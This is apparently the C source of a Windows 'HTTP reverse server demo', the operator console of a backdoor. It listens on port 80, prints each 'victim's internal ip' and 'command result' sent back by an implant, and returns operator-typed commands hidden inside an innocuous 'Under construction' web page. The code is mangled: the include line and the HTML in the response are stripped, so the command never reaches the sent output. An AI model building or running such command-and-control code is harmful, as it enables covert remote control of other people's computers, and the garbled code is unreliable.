#include int WINAPI WinMain (HINSTANCE hInstance,HINSTANCE hPrevInstance,LPTSTR lpCmdLine,int nCmdShow) { printf("\n\n" " **********************************************\n" " * SIMPLE HTTP REVERSE SERVER DEMO *\n" " **********wrote by digital duck*******************\n" "\n\n\n\n\n"); printf("waiting for connection...\n"); const int SERVER_PORT_NUM = 80; const int REQUEST_MSG_SIZE = 1000; const int SERVER_MAX_CONNECTIONS = 10; sockaddr_in serverAddr; sockaddr_in clientAddr; int sockAddrSize; SOCKET socketSock; SOCKET socketNewSock; WSADATA wsaData; char clientRequest[REQUEST_MSG_SIZE]; sockAddrSize = sizeof(sockaddr_in); memset(&serverAddr, 0, sockAddrSize); serverAddr.sin_family = AF_INET; serverAddr.sin_port = htons(SERVER_PORT_NUM); serverAddr.sin_addr.s_addr = INADDR_ANY; WSAStartup(MAKEWORD(1, 1), &wsaData); socketSock = socket(AF_INET, SOCK_STREAM, 0); bind(socketSock, (sockaddr *)&serverAddr, sockAddrSize); listen(socketSock, SERVER_MAX_CONNECTIONS); while(1) { socketNewSock = accept(socketSock, (sockaddr *)&clientAddr,&sockAddrSize); recv(socketNewSock, (char *)clientRequest,sizeof(clientRequest), MSG_PEEK); char input[1024]; char input2[1024]; sprintf(input, "%s", clientRequest); sprintf(input2, "%s", clientRequest); char *a; char *d; char *b; char *c; a = strtok(input, "&"); b = strtok(NULL, "*"); printf("==========\n"); if (b) printf("victim's internal ip: %s\n", b); d = strtok(input2, "*"); c = strtok(NULL, "H"); if (c) printf("command result: %s\n", c); printf("console> "); char content[1024]; char cM[50]; gets(cM); sprintf(content, "HTTP/1.1 200 OK \r\n"\ "Connection: close\r\n\r\n"\ "

Under construction

", cM); send(socketNewSock, content, strlen(content), 0); shutdown(socketNewSock, 1); memset(clientRequest, 0, REQUEST_MSG_SIZE); closesocket(socketNewSock); } return TRUE; }